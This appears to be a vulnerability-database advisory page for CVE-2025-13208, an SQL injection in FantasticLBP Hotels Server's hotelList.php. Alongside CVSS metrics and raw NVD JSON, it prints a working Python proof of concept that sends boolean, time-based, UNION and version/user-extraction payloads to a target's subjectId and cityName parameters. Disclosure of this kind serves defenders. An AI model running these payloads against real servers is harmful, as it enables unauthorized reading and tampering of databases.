Security Vulnerability Report
中文
CVE-2025-13208 CVSS 6.3 MEDIUM

CVE-2025-13208

Published: 2025-11-15 18:15:44
Last Modified: 2026-04-29 01:00:02

Description

A security flaw has been discovered in FantasticLBP Hotels Server up to 67b44df162fab26df209bd5d5d542875fcbec1d0. The impacted element is an unknown function of the file controller/api/hotelList.php. The manipulation of the argument subjectId/cityName results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be exploited. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

FantasticLBP Hotels Server <= 67b44df162fab26df209bd5d5d542875fcbec1d0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13208 SQL Injection PoC # Target: FantasticLBP Hotels Server # Endpoint: controller/api/hotelList.php def test_sqli(url, param_type='subjectId'): """Test for SQL injection vulnerability""" # Normal request normal_params = { param_type: '1' } # SQL injection payloads payloads = [ "1' OR '1'='1", # Basic boolean injection "1' AND SLEEP(5)-- -", # Time-based blind injection "1' UNION SELECT NULL-- -", # Union-based injection "1' UNION SELECT version(),user()-- -" # Extract database info ] print(f"[*] Testing {url}") print(f"[*] Parameter: {param_type}") try: # Test normal request response = requests.get(f"{url}/controller/api/hotelList.php", params=normal_params, timeout=10) print(f"[+] Normal request status: {response.status_code}") # Test with payloads for i, payload in enumerate(payloads, 1): test_params = {param_type: payload} print(f"\n[*] Testing payload {i}: {payload}") try: response = requests.get( f"{url}/controller/api/hotelList.php", params=test_params, timeout=15 if 'SLEEP' in payload else 10 ) print(f"[+] Response status: {response.status_code}") if 'SLEEP' in payload and response.elapsed.total_seconds() > 4: print("[!] Time-based blind SQL injection confirmed!") elif response.status_code == 200 and len(response.text) > 0: print(f"[+] Response received: {response.text[:200]}...") except requests.exceptions.Timeout: print("[!] Request timeout - possible time-based injection") except Exception as e: print(f"[-] Error: {str(e)}") except Exception as e: print(f"[-] Connection error: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sqli(target_url, 'subjectId') test_sqli(target_url, 'cityName') else: print("Usage: python cve-2025-13208.py <target_url>") print("Example: python cve-2025-13208.py http://target.com")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13208", "sourceIdentifier": "[email protected]", "published": "2025-11-15T18:15:44.163", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in FantasticLBP Hotels Server up to 67b44df162fab26df209bd5d5d542875fcbec1d0. The impacted element is an unknown function of the file controller/api/hotelList.php. The manipulation of the argument subjectId/cityName results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be exploited. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/naixiao/CVE/issues/1", "source": "[email protected]"}, {"url": "https://github.com/naixiao/CVE/issues/2", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.332527", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.332527", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.685620", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.685622", "source": "[email protected]"}]}}